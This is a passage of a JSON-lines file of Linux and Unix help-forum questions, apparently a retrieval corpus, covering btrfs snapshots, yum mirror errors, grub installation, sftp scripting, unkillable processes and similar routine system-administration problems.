waste-basket through nautilus, but when I look at the location given by properties, I see \"trash:///\". But I can't \"cd trash:///\". Where is the waste-basket? And in general, if I can find a file in nautilus, how do I get there from terminal? I've had some similar issues in the past with mounted media as well, so a general answer would be greatly appreciated. In case it is relevant, I'm using PinguyOS."} {"_id": "78773", "title": "btrfs change after system upgrade broke apt-btrfs-snapshot", "text": "After upgrading (via `apt-get dist-upgrade`) a Mint 14 Linux box to Mint 15, `apt-btrfs-snapshot` seems to have stopped working: 18:25:48 [root@galaxy ~]$ apt-btrfs-snapshot list Sorry, your system lacks support for the snapshot feature Interestingly, the `btrfs` command-line tool doesn't list the snapshots by default either: (it used to before the upgrade) 18:25:50 [root@galaxy ~]$ btrfs subvolume list / ID 270 gen 26538 top level 256 path stuff but with the `-a` flag, it shows all the `apt-btrfs-snapshot` snapshots as well: 18:26:29 [root@galaxy ~]$ btrfs subvolume list -a / ID 256 gen 26613 top level 5 path /@ ID 259 gen 26375 top level 5 path /@home ID 270 gen 26538 top level 256 path stuff ID 271 gen 348 top level 5 path /@apt-snapshot-2013-04-17_21:44:30 ID 272 gen 352 top level 5 path /@apt-snapshot-2013-04-17_21:46:25 ... ID 458 gen 26322 top level 5 path /@apt-snapshot-2013-06-09_15:55:09 So I guess my two questions would be: * What's up with this `` stuff? * Why did `apt-btrfs-snapshot` stop working? Relevant package versions: ii btrfs-tools 0.19+2013011 ii apt-btrfs-snap 0.3.4.1 ii linux-image-3.8.0- 3.8.0-23.34"} {"_id": "78775", "title": "X high CPU when using Java applications", "text": "Only recently, my Freemind program has become extremely sluggish and unresponsive (big lag) when moving my mind map around. I use Arch Linux with xfce4. Freemind is made with Java. If I move the mind map around, the X process shoots to 20% CPU, doesn't seem a lot but something between X and Java programs are really bringing their performance down. I can barely use Freemind now. Freeplane is also affected. I noticed if I keep the Freemind window really small, it's responsive. If I maximise it, everything slows down within the application. Adding new notes, or move the map around, shoots X to a high CPU and there is a 5+ second lag in anything I do in the app. Is there anything I can do to improve performance? It's only started recently, everything is up-to-date."} {"_id": "78776", "title": "Characters encodings supported by more, cat and less", "text": "I have a text file encoded as following according to `file`: > ISO-8859 text, with CRLF line terminators This file contains French's text with accents. My shell is able to display accent and `emacs` in console mode is capable of correctly displaying these accents. My problem is that `more`, `cat` and `less` tools don't display this file correctly. I guess that it means that these tools don't support this characters encoding set. Is this true? What are the characters encodings supported by these tools?"} {"_id": "114957", "title": "Install Elementary OS on an iMac from 2008", "text": "I'm trying to install Elementary OS Luna (based on Ubuntu 12.04 LTS) on my iMac from 2008. At first I tried the straightforward combination of `hdutil` and `dd` to a USB drive, which failed to even show up using rEFInd or holding option. There is a bug report that requests a Mac ISO, but the conclusion is > This is no longer necessary to install elementary/Ubuntu on a Mac My second attempt was with https://github.com/SevenBits/Mac-Linux-USB-Loader This makes the USB bootable. But only when holding option. rEFInd doesn't see it. So I boot the Live USB and open the Ubuntu installer and proceed to partition a swap and ext4 partition. The installer almost finishes, but crashes on installing grub. I tried several times on sda, sda1(EFI) and sda6(ext4), all fail. Then I tried manually installing with sudo grub-install --root-directory /media/the-mount-point /dev/sda6 This completed after I marked sda6 as a bios partition in gparted. Now when I boot it shows up in both rEFInd and when holding option, but when selected displays just a cursor. _ I'm out of ideas. I don't care if I do legacy or EFI booting, as long as I do any booting at all..."} {"_id": "114954", "title": "Dual Monitor with integrated and discrete GPU on Debian", "text": "I've got an Asrock Extreme 3 motherboard and a Nvidia 660ti GPU. I was trying to configure dual monitor on debian 7 connecting one monitor to the mb and the other to the GPU. This configuration works perfectly on Windows 7 without installing any drivers. With debian only the GPU monitor is working. When I try to connect the second to the motherboard it shows the following: Decompressing Linux... Parsing ELF... done. [ 0.0000000] tsc: Fast TSC calibration failed Loading, please wait... [ 3.222458] sd 8:0:0:0: [sdc] No Caching mode page found [ 3.222518] sd 8:0:0:0: [sdc] Assuming drive cache: write through INIT: version 2.88 booting [info] Using makefile-style concurrent boot in runlevel S. [ ok ] Starting the hotplug events dispatcher: udevd. [ ok ] Synthesizing the initial hotplug events...done. [....] Waiting for /dev to be fully populated... After a few minutes it turns off. This only occurs when I hotplug it. If I start the system with the monitor connected it doesn't turn on. How can I configure it?"} {"_id": "114952", "title": "What are alternative tools for searching files in full content?", "text": "I realized that most of the text related tools I use, grep/egrep/awk/sed are line-oriented. I guess that is a simplified approach to search in files but I was wondering if there is another set of tools operating on file level that I am not aware. So are there other tools that search over the full contents of a file without using the line mode?"} {"_id": "31145", "title": "Is there a more elegant way to count words and assign that count to variables?", "text": "I have a script: #!/bin/bash /root/xiotech status > xiostatus.tmp SyncCount=$(grep -c Sync xiostatus.tmp) PauseCount=$(grep -c paused xiostatus.tmp) CopyingCount=$(grep -c Copying xiostatus.tmp) if [ \"$SyncCount\" -eq \"11\" ] then echo All 11 mirrors are in sync. else echo $PauseCount mirrors are paused and $CopyingCount mirrors are syncing. fi rm -f xiostatus.tmp Is there a more elegant way to count and \"variable-ize\" those counts using something like awk? In this case the file is tiny so it's not a big deal, but if the file were 900mb, it would take a lot of extra cycles to go through it 3 times..."} {"_id": "79423", "title": "Changing suEXEC Path / CentOS 6", "text": "I have recently installed httpd on a Centos 6 server. From what I see suEXEC was compiled with the values below; -D AP_DOC_ROOT=\"/var/www\" -D AP_GID_MIN=100 -D AP_HTTPD_USER=\"apache\" -D AP_LOG_EXEC=\"/var/log/httpd/suexec.log\" -D AP_SAFE_PATH=\"/usr/local/bin:/usr/bin:/bin\" -D AP_UID_MIN=500 -D AP_USERDIR_SUFFIX=\"public_html\" I was wondering if there's a way to change these values without compiling Apache from scratch?"} {"_id": "55198", "title": "is it secure /not dangerous to ssh with keys through public transparent proxy?", "text": "I use pub key for ssh. Is it normal practice to connect to own server through public proxy? I think with plain pass it is surely dangerous but how about RSA keys?"} {"_id": "91971", "title": "Comparing files line by line in awk with delimiter", "text": "file1: abc|123|check def|456|map ijk|789|globe lmn|101112|equator file2: abc|123|check def|456|map ijk|789|equator lmn|101112|globe **EXPECTED OUTPUT:** ijk|789|equator lmn|101112|globe Current awk script: `awk 'BEGIN{OFS=FS=\"|\"} NR==FNR{a[$3]=$3;next}!($3 in a)' file1 file2` This does comparison based on array content. How to compare line by line and printing only that results."} {"_id": "91970", "title": "Yum update error: Could not retrieve mirrorlist", "text": "I'm trying to do yum update. This is the error I'm getting. sudo yum update Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=6&arch=x86_64&repo=os error was 12: Timeout on http://mirrorlist.centos.org/?release=6&arch=x86_64&repo=os: (28,'connect() timed out!') Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again I did `wget http://mirrorlist.centos.org/?release=6&arch=x86_64&repo=os`. It never goes through. So I know I've to change this somehow. Can anyone tell suggest me how to fix this. I found many posts related to this problem over here; but couldn't find a proper solution for this. My `/etc/resolve.conf` is: nameserver 130.102.115.238 nameserver 130.102.128.53 nameserver 130.102.2.53 I tried adding `nameserver 8.8.8.8`. It didn't work. My `/etc/yum.repos.d/Centos-Base.repo` is: [base] name=CentOS-$releasever - Base mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os #baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 #released updates [updates] name=CentOS-$releasever - Updates mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates #baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 #additional packages that may be useful [extras] name=CentOS-$releasever - Extras mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras #baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 #additional packages that extend functionality of existing packages [centosplus] name=CentOS-$releasever - Plus mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus #baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/ gpgcheck=1 enabled=0 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 #contrib - packages by Centos Users [contrib] name=CentOS-$releasever - Contrib mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib #baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/ gpgcheck=1 enabled=0 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 I tried commenting the mirrorlists and uncommenting the baseurls. Didn't work. I really need some help with this. Stuck on this for sometime now. PS I am trying to set a Hadoop node using Cloudera. That's when I encountered this problem. So I tried doing a yum update individually to figure out what's wrong."} {"_id": "91977", "title": "What's the right value of $TERM for emacs' ansi-term, especially if 'eterm-color' isn't available after SSH?", "text": "I'm currently setting `$TERM` to `xterm-256color`: if [[ -n \"$EMACS\" ]]; then export TERM=xterm-256color alias emacs=\"emacsclient --no-wait\" export EDITOR=\"emacsclient --no-wait\" export VISUAL=\"emacsclient\" fi I used to have it set to `eterm-color`, but the problem is that this terminal type is not available on most of the machines I log into via SSH. The default `.bashrc` in Ubuntu checks if the `TERM` variable starts with `xterm-`, in which case it tries to set the window title: PS1=\"\\[\\e]0;${debian_chroot:+($debian_chroot)}\\u@\\h: \\w\\a\\]$PS1\" The problem is the `\\\\[\\e]0;` bit. It should be parsed by xterm-compatible terminal emulators, but emacs (ansi-term) doesn't do that. The result of which is a terminal like this: 0;user@host: ~user@host:~$ It also breaks some applications using `readline`, when the typed text is larger than the width of the terminal. Because `eterm-color` isn't available on some remote hosts (and I can't install it either), setting it to that value messes up things like `less`. Is there any trick I can use, such as another terminal type that ships with most distributions or a hack that makes ansi-term recognize the relevant escape codes and set the title, or just discard them?"} {"_id": "10408", "title": "How to run a fresh version of AIX in a Virtual Machine with a Linux host?", "text": "I need to learn about AIX, and I only have a laptop with Fedora 14/VirtualBox on it. Is there any chance that I could run an AIX guest in my VirtualBox? My laptop has an Intel(R) Core(TM)2 Duo CPU T7100 @ 1.80GHz, and I read that it only runs on RISC architecture. So there's no way I can run it on my laptop?"} {"_id": "150754", "title": "Difference between AIX and other Unix flavours", "text": "I am learning AIX 6-7 for practice, is there any alternative unix flavour which could be quite similar to AIX which could be run on a VMWare or Virtualbox for practice? Also, if there is any possibility of running AIX on your laptop, please let me know. I was also looking fot options through using Qemu for simulating Power systems."} {"_id": "55191", "title": "Using source routing (LSRR) - any ideas?", "text": "What I want to do is conceptually very simple, but I can't find any information or help about how to go about doing this. Basically, I want to configure my networking to use source routing (LSRR). Now I know there are \"security concerns\" with this and hence it is generally blocked in the public Internet and so the tutorials reach dead ends. However I have a totally private network, and need to do this for some engineering reasons. [Basically, I'm doing some experiments where I want to \"simulate\" a hop by hop routing protocol] So, I want to send traffic from (machine with IP address) A to (machine with IP address) X. But I want the traffic to follow a specific route via intermediate nodes B, C, then D i.e A -> B -> C -> D -> X. These are all private IP addresses and I have configured the proper ip_forwarding etc . Ping actually allows you to use a LSRR, so I can ping from A to X via these intermediate nodes (using that route I specified) and can verify that it is actually happening with wireshack traces, and it works fine. The question then is how can I use some features of iptables, or tun interfaces (or other - VPN?) etc to redirect all my normal traffic along this route using loose source routing? Basically, I would like to implement something at A, so that when I try to send traffic from A to X it intercepts those IP packets and adds the LSRR to them so that it forwards on via the specified intermediate points. If anyone can help me, I would be extremely grateful as I can't seem to work out how to do this? Thank you very much, Triponi"} {"_id": "55190", "title": "How to send multiple commands to sftp using one line", "text": "The following command sends one command to `sftp` using one line: sftp -o PasswordAuthentication=no user@host\" <<<\"lcd /home\" How to send multiple lines to `sftp` using one line. Is there a way to insert carriage returns or something to achieve this, for example: sftp -o PasswordAuthentication=no user@host\" <<<\"lcd /home\\n cd /myhome\\n get file\" The idea is to NOT use the `sftp -b` option where an external file listing commands is loaded."} {"_id": "55193", "title": "Are there any deduplication scripts that use btrfs CoW as dedup?", "text": "Looking for deduplication tools on Linux there are plenty, see e.g. this wiki page. Allmost all scripts do either only detection, printing the duplicate file names or removing duplicate files by hardlinking them to a single copy. With the rise of btrfs there would be another option: creating a CoW (copy-on- write) copy of a file (like `cp reflink=always`). I have not found any tool that does this, is anyone aware of tool that does this?"} {"_id": "5642", "title": "What if 'kill -9' does not work?", "text": "I have a process I can't kill with `kill -9 `. What's the problem in such a case, especially since I am the owner of that process. I thought nothing could evade that `kill` option."} {"_id": "134963", "title": "kill pid is not working?", "text": "This is pretty weird now. I am trying to kill a process by using its `pid` but it is not working at all. root@machineA:/home/david# ps aux | grep modelling david 5075 0.0 0.0 1285420 29404 ? Dl 21:05 0:01 /opt/modelling/bin/http root 8730 0.0 0.0 8096 936 pts/4 S+ 22:43 0:00 grep --color=auto modelling Below is the way I am kiiling the process. root@machineA:/home/david# kill -9 5075 And then if I do the `ps` again. I can see the same result back again. root@machineA:/home/david# ps aux | grep modelling david 5075 0.0 0.0 1285420 29404 ? Dl 21:05 0:01 /opt/modelling/bin/http root 9062 0.0 0.0 8100 936 pts/4 S+ 22:44 0:00 grep --color=auto modelling Does anyone know what is happening? This was working fine earlier and it has started happening few hours back and I am not sure what's wrong? **Update:-** I did top and it is showing as `D` instead of `Z` which is `uninterruptible sleep` 5075 david 20 0 1255m 28m 13m D 0 0.0 0:01.09 http"} {"_id": "144128", "title": "Analyzing network traffic", "text": "I want to get a good overview what kind of network communication is going on on my computer. One way would be starting `wireshark`, which is fine for very low-level problems but is quite cumbersome to get a more high level overview. Usually most packages belong to some TCP stream. And many TCP streams contain some kind of HTTP traffic. I am looking for some tool like `wireshark` which shows TCP streams just as one line per TCP stream, potentially allowing me to get details about the stream. Showing HTTP request in a more friendly way would be nice and additionally showing non-TCP traffic, would be nice, too. Are you aware of some tool like that?"} {"_id": "67856", "title": "Key binding of the Menu Key", "text": "I have the `Menu` key that I don't use. It's right under my thumb when I use the arrows... So I wanted to map it to the `Insert` key. _(mostly because of its important use in vim)_ I've been looking into the fluxbox wiki for key bindings, but I have not found what I'm searching. I have tried to add in my `.fluxbox/keys` 135 :118 or 135 :Insert But both doesn't seem to work. Is it possible with fluxbox ? I am also wondering if the `BindKey : #creates an \"on the fly\" keycommand` can do the job... but I don't really understand what it does... The answer to How to remap the Context Menu key to the Super key indicates to modify .xmodmaprc Maybe that's what should I do, but I don't know how to convert `keycode 135 = Super_R` so at it works like Insert instead of Super_R"} {"_id": "131748", "title": "Search for a Value only in one column w.o using awk, sed, or perl", "text": "I have a file that looks like this : Marketing Ranjit Singh FULLEagles Dean Johnson Marketing Ken Whillans FULLEagles Karen Thompson Sales Peter RobertsonPARTGolden TigersRich Gardener President Sandeep Jain CONTWimps Ken Whillans Operations John Thompson PARTHawks Cher Operations Cher CONTVegans Karen Patel Sales John Jacobs FULLHawks Davinder Singh Finance Dean Johnson FULLVegans Sandeep Jain EngineeringKaren Thompson PARTVegans John Thompson IT Rich Gardener FULLGolden TigersPeter Robertson IT Karen Patel FULLWimps Ranjit Singh I want to use a grep command to search for \"John\" in the 2nd column w.o searching the last column, but for every \"John\" in the 2nd column, I want the output of the last column. The end result should look like this : John Thompson Cher John Jacobs Davinder Singh Dean Johnson Sandeep Jain"} {"_id": "97479", "title": "avconv creates creates files whose duration is incorrect", "text": "I am attempting to create a variable rate mp3 from a flac using the following command: avconv -i t.flac -id3v2_version 3 -vn -acodec libmp3lame -aq 0 t.mp3 avconv and mediainfo both list the duration of the final mp3 correctly as 2m40s, but every mp3 player (clementine, juk and amarok) I've tried says that the song is 21m15s long. Using clementine and amarok to view details about the file turns up that they think the bitrate is 32kbps while avconv and mediainfo (correctly) list the overall bitrate as 255kbps. (255/32)*2.66 = 21.20, so I'm sure that it's the perceived bitrate that's the problem, but I don't know what to do to fix it. Just for fun, I also tried creating a constant bitrate file with the following command: avconv -i t.flac -id3v2_version 3 -vn -acodec libmp3lame -ab 320k u.mp3 This has the same problem. Oddly enough, even though the bitrate is specified, mediainfo still reports that the bitrate is variable and mp3 players have the same general problems with the duration. How can I fix this?"} {"_id": "131746", "title": "Script to gracefully kill X server and drop to tty?", "text": "I use the terminal to do the majority of my day-to-day computing, so I have the default runlevel set to `3` in `/etc/inittab` and I only start the X server when I need to. I currently have the following in my `xorg.conf` in order to make quickly switching to the terminal easier: Section \"ServerFlags\" Option \"DontZap\" \"false\" EndSection Section \"InputClass\" Identifier \"Keyboard Defaults\" MatchIsKeyboard \"yes\" Option \"XkbOptions\" \"terminate:ctrl_alt_bksp\" EndSection I know this is messy and fraught with security problems, which is why these settings were removed from the default install in the first place. However, it's fast. How can I get this kind of functionality in a safer way using a shell script or something similar that can be attached to an event such as a key combination or to closing the screen of a laptop? What I am after is an immediate killing of the X server process with no output to tty (currently, `Ctrl + Alt + Bksp` fills the terminal with the output from the dying X server, which I have to exit with `Ctrl + C`)."} {"_id": "34660", "title": "Clearing DNS Cache in Linux", "text": "I work on Linux on my laptop, I could not access a particular website using the URL, so I used `sudo /etc/init.d/nscd restart` in order to clear the DNS cache, but the URL is still throws 'Server Not Found' in Firefox. I have tried also Chrome, it still not working. Other friends can see the web page, but I can not. So what would be the main cause of this? I can surf other sites nicely. Weirdly enough when I even try the IP address of that particular URL, it shows me a different page than what other people see. I appreciate any help on this matter."} {"_id": "144121", "title": "How could I change Linux command to another key combination?", "text": "I'm using wmii, so `Alt` key Linux command was disabled. I want to change `Ctrl`+`F` and `Ctrl`+`B` to `Alt`+ `F` and `Alt`+ `B` so that I can use them to jump by word. But I searched on line, and didn't find anything about change Linux Command key bindings. How to do it?"} {"_id": "34666", "title": "dm-crypt and LUKS password rotation", "text": "How do you protect the master key, and distribute multiple passwords for admin access? Is there a 3rd party user management tool or is this native?"} {"_id": "34664", "title": "How to disable password prompting for automatic updates on Red Hat", "text": "Basically, I have the opposite problem of this guy. I would like my updates to be installed in a transparent way : I'm tired of entering my password every time. I'm running on Red Hat (6.2 to be precise). I saw a script somewhere saying that you need to edit a line containing \"admin\" in visudo, but I don't have that line. It was meant for Ubuntu, maybe that's the reason why..."} {"_id": "145837", "title": "How do I enable rsync in libcurl?", "text": "I'm on Arch. When `pacman` tries to download a package from an `ftp` server, It fails with the error message > Protocol rsync not supported or disabled in libcurl This has been bugging me for a little while now, but I can't remember what I did to cause it (Pacman just downloads from an `http` server instead, so I've been able to ignore it). I have both `rsync` and `libcurl` installed, and they apparently played well together before. I can't find any `libcurl` or `curl` config files and found no mention of `rsync` in the `man` page. How can I go about enabling `rsync`?"} {"_id": "50016", "title": "Why is this flag not working?", "text": "Ok so i want to view the ram and have it run continuously root@another:/etc/mysql/database_backups# free -mt total used free shared buffers cached Mem: 998 870 127 0 92 362 -/+ buffers/cache: 415 582 Swap: 2047 31 2016 Total: 3046 902 2144 root@another:/etc/mysql/database_backups# free -mts free: option requires an argument -- 's' usage: free [-b|-k|-m|-g] [-l] [-o] [-t] [-s delay] [-c count] [-V] -b,-k,-m,-g show output in bytes, KB, MB, or GB -l show detailed low and high memory statistics -o use old format (no -/+buffers/cache line) -t display total for RAM + swap -s update every [delay] seconds -c update [count] times -V display version information and exit the first command works great but adding the s flag gives me an error but i can clearly see that is an available flag....any ideas on what i am doing wrong and if there is a better way of doing this"} {"_id": "50015", "title": "Trying to install Linux Mint 13 via Wubi, throws me into grub prompt", "text": "I'm trying to install Linux Mint 13 with Cinnamon via the 64 bit DVD image from within Windows. I've tried both installing it to `C:` which is my Windows system disk, but also to `D:` which is another physical disk entirely. The same thing happens on both disks. The Windows part of the installation completes and it tells me to reboot. When I reboot, it tries rebooting into Linux Mint to start the installation, but I only get a prompt saying `grub >`. If I try the `boot` command, it says no kernel is loaded. I've tried looking at the boot record in EasyBCD, and it looks like this: Entry #1 Name: Windows 7 BCD ID: {current} Drive: C:\\ Bootloader Path: \\Windows\\system32\\winload.exe Entry #2 Name: Linux Mint BCD ID: {62256248-e57d-11e1-9eca-d50aae34d088} Drive: C:\\ Bootloader Path: \\linuxmint\\winboot\\wubildr.mbr Booting Windows 7 works fine obviously, but I'm not sure why Linux Mint fails. The Bootloader Path for the Linux Mint installation checks out. Any ideas why this is happening, and/or what I can do to troubleshoot it? I really want to install this via Wubi, and not have to mess around with partitions."} {"_id": "50014", "title": "How to have pam_exec run the script as the current user?", "text": "I need to run a script, when the session is opened, as the user who's opening the session. I have added in /etc/pam.d/common-session : session optional pam_exec.so log=/tmp/test_pam_foo.log /usr/local/bin/test_pam_foo.sh I also tried to activate pam_exec's option `seteuid` The basic script /usr/local/bin/test_pam_foo.sh : #!/bin/sh id -u >> /tmp/test_pam_foo id -ru >> /tmp/test_pam_foo Unfortunately, I get all the time `0` as the effective id and real id. Am I missing something? As alternative, I know the existence of pam_script, not to be confused with pam-script. That pam_script runs by default as the current user and has the option `runas` to force to be run as root. But I'd like to privilege the use of pam libs that are already packaged in my distribution (Ubuntu 12.04)."} {"_id": "35395", "title": "Lost window title bars and everything after selecting bad window theme in Linux Mint", "text": "I've selected a window theme from the \"Advanced Settings\" in Linux Mint 12 which seems to be corrupted and I've lost everything on my desktop. I can't start any applications but I can open the terminal by right clicking on the desktop and selecting \"Open in Terminal\" but I am a Linux newbie and I don't how to use it. It would help me much if you can answer only one of the two questions bellow: * How to start the \"Advanced Settings\" from the console? * How to revert to the default window theme using the console? Please keep in mind that I've got the problem when I changed the \"Window Theme\" not the \"Shell Theme\" in the Themes tab in the \"Advanced Settings\""} {"_id": "145832", "title": "Could I disable ext4's journaling safely in BBWC?", "text": "I knew set \"nobarrier\" flag is safe in BBWC when using ext4,but since \"nobarrier\" flag couldn't ensure proper order of journal logging and data flushing,then it seems journaling is useless\u3002So is it safe to disable ext4's journaling safely in BBWC?"} {"_id": "35397", "title": "Script that uses MySQL query to automatically remove output", "text": "I have this query that outputs updates older than 7 days from a database. How would I make a script that takes the MySQL statement and puts it into a script to be executed by cron. echo \"select name, reported_at from nodes where reported_at < curdate() -7;\" | mysql dashboard Sample output: name reported_at xadf.edu 2012-03-21 14:39:02 xadf.edu 2012-03-22 15:30:01 adsfsadf.edu 2012-03-14 14:40:02 ekdahlj.edu 2012-03-23 03:40:04 adfasdf.net 2012-03-21 14:42:02 eqrsdr.edu 2012-03-15 14:42:02 qwerwfva.edu 2012-03-13 14:42:03 qerqwer.edu 2012-03-23 14:40:01 adfasde.edu 2012-03-05 17:42:03 bsfdgs.edu 2012-03-23 15:20:01 adfadsf.edu 2012-03-23 14:43:01"} {"_id": "35396", "title": "How can I manage puppet.conf with Puppet?", "text": "I use puppet to manage linux servers and various services. It works well, except for the _puppet_ service itself. My puppet class is like this : class puppet { file { \"/etc/puppet/puppet.conf\": owner => 0, group => 0, mode => 0644, content => template(\"${module_name}/puppet.conf.erb\"), } service { \"puppet\": name => \"puppet\", ensure => running, enable => true, hasstatus => true, hasrestart => true, require => File[\"/etc/puppet/puppet/conf\"] subscribe => File[\"/etc/puppet/puppet/conf\"] } } } When a change is applied on /etc/puppet/puppet.conf, puppet notices that it needs to restart puppet service and so, crash itself : Mar 30 17:08:23 XXXX puppet-agent[20172]: (/Stage[main]/Puppet/File[/etc/puppet/puppet.conf]/content) content changed '{md5}eeaf5dfc7d88c8d9c85e6a8cc714d702' to '{md5}ef6ff0e423f4125e24b689980df9f71d' Mar 30 17:08:23 XXXX puppet-agent[20172]: Caught TERM; calling stop Do you know how I could update puppet.conf correctly with puppet ?"} {"_id": "107327", "title": "How to change camera info in Exif using command line", "text": "I have analog camera and I give a film to the lab where they scan it, I wanted to upload it to flickr but want to change info about camera. Right now it's `NORITSU KOKI QSS-32_33` and I wanted it to be `pentax k1000` (I don't want to clear exif data). How can I do this from command line."} {"_id": "107321", "title": "Using Fedora 19 to burn .iso-image to external HDD", "text": "Seeing as several google-searches have failed me, I am having a hard time completing this task. I am currently running Fedora 19 on my laptop, and I wish to burn a .iso-image to an external HDD. Seeing as Brasero and several other programs that are seemingly made for this purpose are not recognizing said HDD (looks like they only accept flashdrives?) I am unable to find any way to burn it. The disk is formatted to NTFS. I have also tried with FAT. I am relatively new to Linux and would highly appreciate being spoonfed if anyone would find the time to do so. Some clarification might be needed: I already have Fedora 19 installed. I wish to install Windows XP as well. I have a 500 GB HDD I'd like to install it on. I have tried the following: * Programs like Brassero etc. Does not recognize the HDD. * Running the .iso in a VM, but the external HDD is not an alternative as an installation disc. * Using dd. This did work somewhat, seeing as the disc was renamed to \"WINDOWS XP HOME EDITION\" blablabla, but when booting it I simply got the message \"unable to load operating system.\" After this, I formatted the disc again. I have successfully installed XP on a VM, so there is nothing wrong with the .iso itself. Please note that my objective is to have XP on the external HDD, if this can be achieved by other means, those answers are naturally accepted."} {"_id": "107320", "title": "Wordpress won't recognize the MySQL database", "text": "I want to install Wordpress on Archlinux but I have this error: > Your PHP installation appears to be missing the MySQL extension which is > required by WordPress. I un-commented this line in `/etc/php/php.ini`: ; ... or under UNIX: ; extension=msql.so ; but this error is not fixed. how can I fix this error?"} {"_id": "66100", "title": "Using tail command to create a file", "text": "This is what I did using `tail` command. When I try to output the file to screen the file is empty. ~]$ tail > AFS2F1 PASSES ALL DATA FROM INPUT TO OUTPUT PASSES ONLY SPECIFIED COLUMNS PASSES NUMBER OF SPECIFIED LINES AT BEGINNING COMBINES COLUMNS ARRANGES DATA IN SEQUENCE PASSES NUMBER OF SPECIFIED LINES AT THE END OF DATA TRANSLATES ONE OR MORE CHARACTERS DELETES DUPLICATE LINES COUNTS CHARACTERS, WORDS, OR LINES ABCDEFGHIJKLMNOPQRSTUVWXYZ Is there anything wrong with the way I'm using tail command?"} {"_id": "66104", "title": "Is /etc/resolv.conf needed when using a static IP address?", "text": "I am trying to configure the IP address of my embedded device. The device should have a static IP address and I attempt to set this using the `/etc/network/interfaces` file with iface eth0 inet static address 192.168.255.212 netmask 255.255.255.0 gateway 192.168.255.1 where I have been given these values by our network technician. My system is a minimal embedded system built with buildroot, uClibc and busybox. With this `interfaces` file, a call to `ifconfig eth0` displays that the above settings have been enabled correctly, but I am unable to ping anything on my network. My question really is this: is the above `interfaces` file sufficient for setting a static IP or is something more necessary? From online tutorials, I see many mention of `/etc/hosts` and `/etc/resolv.conf` files. I don't even have a `/etc/resolv.conf` file on my system. I am having other problems as described here Unable to get embedded device to ping anything on the network so I am asking this question separately to verify that I am setting up the static IP address correctly and rule out an incorrect setup. **EDIT** The output of `route` is Destination Gateway Genmask Flags Metric Ref Use Iface default 192.268.255.1 0.0.0.0 UG 0 0 0 eth0 192.18.255.0 * 255.255.255.0 U 0 0 0 eth0 but I am unable to even ping the gateway"} {"_id": "151785", "title": "Where to find Terminal in Raspbmc", "text": "I'm a newbie when it comes to using/setting up a Raspberry Pi. I installed Raspbmc on my Raspberry Pi. It's working fine but I'm not able to find the terminal. How can I go about finding it?"} {"_id": "151786", "title": "Configure distant terminal behaviour", "text": "I just installed debian 7 on a VPS, created users, configured ssh ..etc The problem is that the terminal application changed its behavior just after connecting with my new username: * Autocompletion not working (I edited /etc/bash.bashrc for that but it dosen't works) * I can't use keyboard shortcuts like I always used to : For example CTRL-l, or CTRL-R or even up/down for commands history , left/right to move within the same command and start/end keys. When I use those shortcuts I've got those chars: $ ^[[C^[[D^[[D^[[D^[[A^[[B^[[A Well, it not productive at all ! Any suggestions ?"} {"_id": "61452", "title": "Please explain the output of the ls -all command", "text": "This is one of the many similar lines from the output from ls -all lrwxrwxrwx 1 subhrcho dba 25 Dec 6 01:36 beam-server.jpr -> .ade_path/beam-server.jpr What does the above signify ? I am specially interested in `.ade_path` ? What does the dot(.) signify here ?"} {"_id": "92165", "title": "fstab mount drive as my /home", "text": "I am trying to: * mount my 2TB external USB hard drive as my home directory at `/home/peter` * ensure that the home directory is owned by me (not root) * do all this automatically at bootup Currently: * my drive is formatted to `ext4` * my drive is empty * I am running debian 7 I can reformat to another filesystem type if necessary, but I want to use the full 2TB on the drive. The following `fstab` line mounts the drive incorrectly owned by `root`: UUID=xxxx /home/peter ext4 nodev,nosuid 0 2 How can I mount the drive so that it is owned by `peter` (that's my login user on the PC)?"} {"_id": "61456", "title": "Standard way to expose device file to userland applications running on an unprivileged user account?", "text": "I just finished the first version of a Linux kernel module I've written in C. The module creates a device file (`/dev/wn0`) that controls a USB device with three LED lights. For example, running as root, I can do this: echo \"#ff0000\" >/dev/wn0 ...and the device will glow bright red. My problem is that I want unprivileged users to be able to access the device (by writing data to `/dev/wn0`). Is there a standard way to do this? Is it as simple as changing the permissions on the `/dev/wn0` file? Does that create security concerns?"} {"_id": "61455", "title": "How to fix the corruption of the tar balls?", "text": "I was making a complete server backup and tried making the tar balls of each directory structure by using the following commands: `nohup tar -cvf - /etc | gzip -9 -c > /opt/Backup_4_Jan/etc.tgz &` `nohup tar -cvf - /var/opt | gzip -9 -c > /opt/Backup_4_Jan/var_opt.tgz &` `nohup tar -cvf - /usr/opt | gzip -9 -c > /opt/Backup_4_Jan/usr_opt.tgz &` But after transferring these zipped files on the windows machine, extracting it i found some of the tar balls are corrupted. I am sure the transfer was made in the Binary format and i was able to successfully extract /etc.tgz but other two couldn't get extracted due to corruption. I have tried this couple of times and got the same result every time. So, my question is, am i using the commands in the right way? Or do i have mistake in the above commands, or is there any other way i can make the backups using some other commands?"} {"_id": "61459", "title": "Does sysctl kern.bufcachepercent not work in OpenBSD 5.2 above 1.7GB?", "text": "I run OpenBSD/amd64 5.2 on a system with 12GB of RAM, and I want to use about 6GB to 8GB for filesystem caching. By default, 5.2 amd64 comes with `sysctl kern.bufcachepercent` set to `20` (20%); I've increased it to 50% and then to 60%, and then went through lots of files that definitely total above 10GB, yet, when I go into `top`, I am shown the 